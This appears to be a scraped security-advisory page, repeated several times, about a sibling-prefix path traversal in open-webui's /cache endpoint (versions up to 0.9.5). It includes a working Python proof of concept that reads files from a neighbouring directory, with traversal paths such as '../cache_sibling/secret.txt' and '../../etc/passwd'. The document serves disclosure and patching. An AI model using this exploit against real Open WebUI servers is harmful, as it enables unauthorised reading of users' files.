## Summary A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator. The root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories. ### Exploitation constraints | Constraint | Detail | |---|---| | Auth required | `get_verified_user` — any user with role `user` or `admin` | | Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) | | Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check | | Absolute paths | Blocked — `/etc/passwd` correctly fails | | Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload | ## Vulnerability Details ### Vulnerable function: `serve_cache_file()` ```python # open_webui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def serve_cache_file(path: str, user=Depends(get_verified_user)): file_path = os.path.abspath(os.path.join(CACHE_DIR, path)) # prevent path traversal if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail='File not found') if not os.path.isfile(file_path): raise HTTPException(status_code=404, detail='File not found') return FileResponse(file_path, headers=headers) ``` ### The bypass ```python CACHE_DIR = "/data/cache" # Attacker path: "../cache_sibling/secret.txt" file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt")) # → "/data/cache_sibling/secret.txt" "/data/cache_sibling/secret.txt".startswith("/data/cache") # → True ← BYPASS (because "cache_sibling" starts with "cache") # Correct check would be: "/data/cache_sibling/secret.txt".startswith("/data/cache/") # → False ← BLOCKED ``` ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | `from open_webui.main import app` (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side `..` normalization) | ### poc.py ```python import asyncio import os import shutil import sys import tempfile TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_") os.environ["DATA_DIR"] = TEMP_DATA os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345" os.environ["WEBUI_AUTH"] = "false" CACHE_DIR = os.path.join(TEMP_DATA, "cache") SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling") os.makedirs(CACHE_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR" with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f: f.write(SECRET_CONTENT) with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f: f.write("legitimate_cache_file") from open_webui.main import app from open_webui.utils.auth import get_verified_user class FakeUser: id = "poc" email = "poc@test" role = "user" app.dependency_overrides[get_verified_user] = lambda: FakeUser() async def raw_asgi_get(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "query_string": b"", "headers": [(b"host", b"localhost")], "root_path": "", "asgi": {"version": "3.0"}, } response_started = False status_code = None body_parts = [] async def receive(): return {"type": "http.request", "body": b""} async def send(message): nonlocal response_started, status_code if message["type"] == "http.response.start": response_started = True status_code = message["status"] elif message["type"] == "http.response.body": body_parts.append(message.get("body", b"")) await app(scope, receive, send) return status_code, b"".join(body_parts) async def main(): s1, b1 = await raw_asgi_get(app, "/cache/legit.txt") s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt") s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd") baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1 exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2 deep_blocked = s3 == 404 print(f"package: open_webui (pip installed)") print(f"version: 0.9.5") print(f"function: serve_cache_file (GET /cache/{{path}})") print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHE_DIR: {CACHE_DIR}") print(f"SIBLING: {SIBLING_DIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}") shutil.rmtree(TEMP_DATA, ignore_errors=True) sys.exit(0 if exploit_ok else 1) if __name__ == "__main__": asyncio.run(main()) ``` ### PoC output <img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" /> ## Suggested Fix ```python if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep): raise HTTPException(status_code=404, detail='File not found') ``` Single character fix: append `os.sep` to the prefix in the `startswith` check.
## Summary A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator. The root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories. ### Exploitation constraints | Constraint | Detail | |---|---| | Auth required | `get_verified_user` — any user with role `user` or `admin` | | Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) | | Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check | | Absolute paths | Blocked — `/etc/passwd` correctly fails | | Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload | ## Vulnerability Details ### Vulnerable function: `serve_cache_file()` ```python # open_webui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def serve_cache_file(path: str, user=Depends(get_verified_user)): file_path = os.path.abspath(os.path.join(CACHE_DIR, path)) # prevent path traversal if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail='File not found') if not os.path.isfile(file_path): raise HTTPException(status_code=404, detail='File not found') return FileResponse(file_path, headers=headers) ``` ### The bypass ```python CACHE_DIR = "/data/cache" # Attacker path: "../cache_sibling/secret.txt" file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt")) # → "/data/cache_sibling/secret.txt" "/data/cache_sibling/secret.txt".startswith("/data/cache") # → True ← BYPASS (because "cache_sibling" starts with "cache") # Correct check would be: "/data/cache_sibling/secret.txt".startswith("/data/cache/") # → False ← BLOCKED ``` ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | `from open_webui.main import app` (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side `..` normalization) | ### poc.py ```python import asyncio import os import shutil import sys import tempfile TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_") os.environ["DATA_DIR"] = TEMP_DATA os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345" os.environ["WEBUI_AUTH"] = "false" CACHE_DIR = os.path.join(TEMP_DATA, "cache") SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling") os.makedirs(CACHE_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR" with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f: f.write(SECRET_CONTENT) with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f: f.write("legitimate_cache_file") from open_webui.main import app from open_webui.utils.auth import get_verified_user class FakeUser: id = "poc" email = "poc@test" role = "user" app.dependency_overrides[get_verified_user] = lambda: FakeUser() async def raw_asgi_get(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "query_string": b"", "headers": [(b"host", b"localhost")], "root_path": "", "asgi": {"version": "3.0"}, } response_started = False status_code = None body_parts = [] async def receive(): return {"type": "http.request", "body": b""} async def send(message): nonlocal response_started, status_code if message["type"] == "http.response.start": response_started = True status_code = message["status"] elif message["type"] == "http.response.body": body_parts.append(message.get("body", b"")) await app(scope, receive, send) return status_code, b"".join(body_parts) async def main(): s1, b1 = await raw_asgi_get(app, "/cache/legit.txt") s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt") s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd") baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1 exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2 deep_blocked = s3 == 404 print(f"package: open_webui (pip installed)") print(f"version: 0.9.5") print(f"function: serve_cache_file (GET /cache/{{path}})") print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHE_DIR: {CACHE_DIR}") print(f"SIBLING: {SIBLING_DIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}") shutil.rmtree(TEMP_DATA, ignore_errors=True) sys.exit(0 if exploit_ok else 1) if __name__ == "__main__": asyncio.run(main()) ``` ### PoC output <img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" /> ## Suggested Fix ```python if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep): raise HTTPException(status_code=404, detail='File not found') ``` Single character fix: append `os.sep` to the prefix in the `startswith` check.
Update open-webui to 0.9.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanOpen WebUI: Sibling-Prefix Path Traversal via /cache/{path} affects open-webui (pip). Severity is medium. ## Summary A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator. The root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories. ### Exploitation constraints | Constraint | Detail | |---|---| | Auth required | `get_verified_user` — any user with role `user` or `admin` | | Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) | | Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check | | Absolute paths | Blocked — `/etc/passwd` correctly fails | | Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload | ## Vulnerability Details ### Vulnerable function: `serve_cache_file()` ```python # open_webui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def serve_cache_file(path: str, user=Depends(get_verified_user)): file_path = os.path.abspath(os.path.join(CACHE_DIR, path)) # prevent path traversal if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail='File not found') if not os.path.isfile(file_path): raise HTTPException(status_code=404, detail='File not found') return FileResponse(file_path, headers=headers) ``` ### The bypass ```python CACHE_DIR = "/data/cache" # Attacker path: "../cache_sibling/secret.txt" file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt")) # → "/data/cache_sibling/secret.txt" "/data/cache_sibling/secret.txt".startswith("/data/cache") # → True ← BYPASS (because "cache_sibling" starts with "cache") # Correct check would be: "/data/cache_sibling/secret.txt".startswith("/data/cache/") # → False ← BLOCKED ``` ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | `from open_webui.main import app` (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side `..` normalization) | ### poc.py ```python import asyncio import os import shutil import sys import tempfile TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_") os.environ["DATA_DIR"] = TEMP_DATA os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345" os.environ["WEBUI_AUTH"] = "false" CACHE_DIR = os.path.join(TEMP_DATA, "cache") SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling") os.makedirs(CACHE_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR" with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f: f.write(SECRET_CONTENT) with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f: f.write("legitimate_cache_file") from open_webui.main import app from open_webui.utils.auth import get_verified_user class FakeUser: id = "poc" email = "poc@test" role = "user" app.dependency_overrides[get_verified_user] = lambda: FakeUser() async def raw_asgi_get(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "query_string": b"", "headers": [(b"host", b"localhost")], "root_path": "", "asgi": {"version": "3.0"}, } response_started = False status_code = None body_parts = [] async def receive(): return {"type": "http.request", "body": b""} async def send(message): nonlocal response_started, status_code if message["type"] == "http.response.start": response_started = True status_code = message["status"] elif message["type"] == "http.response.body": body_parts.append(message.get("body", b"")) await app(scope, receive, send) return status_code, b"".join(body_parts) async def main(): s1, b1 = await raw_asgi_get(app, "/cache/legit.txt") s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt") s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd") baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1 exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2 deep_blocked = s3 == 404 print(f"package: open_webui (pip installed)") print(f"version: 0.9.5") print(f"function: serve_cache_file (GET /cache/{{path}})") print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHE_DIR: {CACHE_DIR}") print(f"SIBLING: {SIBLING_DIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}") shutil.rmtree(TEMP_DATA, ignore_errors=True) sys.exit(0 if exploit_ok else 1) if __name__ == "__main__": asyncio.run(main()) ``` ### PoC output <img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" /> ## Suggested Fix ```python if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep): raise HTTPException(status_code=404, detail='File not found') ``` Single character fix: append `os.sep` to the prefix in the `startswith` check.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| open-webuipip | <=0.9.5 | 0.9.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate open-webui to 0.9.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanOpen WebUI: Sibling-Prefix Path Traversal via /cache/{path} affects open-webui (pip). Severity is medium. ## Summary A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator. The root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation. Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories. ### Exploitation constraints | Constraint | Detail | |---|---| | Auth required | `get_verified_user` — any user with role `user` or `admin` | | Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) | | Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check | | Absolute paths | Blocked — `/etc/passwd` correctly fails | | Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload | ## Vulnerability Details ### Vulnerable function: `serve_cache_file()` ```python # open_webui/main.py, line 2907-2924 @app.get('/cache/{path:path}') async def serve_cache_file(path: str, user=Depends(get_verified_user)): file_path = os.path.abspath(os.path.join(CACHE_DIR, path)) # prevent path traversal if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep raise HTTPException(status_code=404, detail='File not found') if not os.path.isfile(file_path): raise HTTPException(status_code=404, detail='File not found') return FileResponse(file_path, headers=headers) ``` ### The bypass ```python CACHE_DIR = "/data/cache" # Attacker path: "../cache_sibling/secret.txt" file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt")) # → "/data/cache_sibling/secret.txt" "/data/cache_sibling/secret.txt".startswith("/data/cache") # → True ← BYPASS (because "cache_sibling" starts with "cache") # Correct check would be: "/data/cache_sibling/secret.txt".startswith("/data/cache/") # → False ← BLOCKED ``` ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | open-webui | 0.9.5 (pip installed) | | Python | 3.11 | | Import | `from open_webui.main import app` (true import, real FastAPI app) | | Method | Raw ASGI request (bypasses httpx client-side `..` normalization) | ### poc.py ```python import asyncio import os import shutil import sys import tempfile TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_") os.environ["DATA_DIR"] = TEMP_DATA os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345" os.environ["WEBUI_AUTH"] = "false" CACHE_DIR = os.path.join(TEMP_DATA, "cache") SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling") os.makedirs(CACHE_DIR, exist_ok=True) os.makedirs(SIBLING_DIR, exist_ok=True) SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR" with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f: f.write(SECRET_CONTENT) with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f: f.write("legitimate_cache_file") from open_webui.main import app from open_webui.utils.auth import get_verified_user class FakeUser: id = "poc" email = "poc@test" role = "user" app.dependency_overrides[get_verified_user] = lambda: FakeUser() async def raw_asgi_get(app, path): """Send a raw ASGI request without client-side path normalization.""" scope = { "type": "http", "method": "GET", "path": path, "query_string": b"", "headers": [(b"host", b"localhost")], "root_path": "", "asgi": {"version": "3.0"}, } response_started = False status_code = None body_parts = [] async def receive(): return {"type": "http.request", "body": b""} async def send(message): nonlocal response_started, status_code if message["type"] == "http.response.start": response_started = True status_code = message["status"] elif message["type"] == "http.response.body": body_parts.append(message.get("body", b"")) await app(scope, receive, send) return status_code, b"".join(body_parts) async def main(): s1, b1 = await raw_asgi_get(app, "/cache/legit.txt") s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt") s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd") baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1 exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2 deep_blocked = s3 == 404 print(f"package: open_webui (pip installed)") print(f"version: 0.9.5") print(f"function: serve_cache_file (GET /cache/{{path}})") print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))") print(f"bypass: startswith without trailing os.sep allows sibling-prefix match") print() print(f"CACHE_DIR: {CACHE_DIR}") print(f"SIBLING: {SIBLING_DIR}") print() print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}") print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}") print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)") print() print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}") shutil.rmtree(TEMP_DATA, ignore_errors=True) sys.exit(0 if exploit_ok else 1) if __name__ == "__main__": asyncio.run(main()) ``` ### PoC output <img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" /> ## Suggested Fix ```python if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep): raise HTTPException(status_code=404, detail='File not found') ``` Single character fix: append `os.sep` to the prefix in the `startswith` check.
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| open-webuipip | <=0.9.5 | 0.9.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard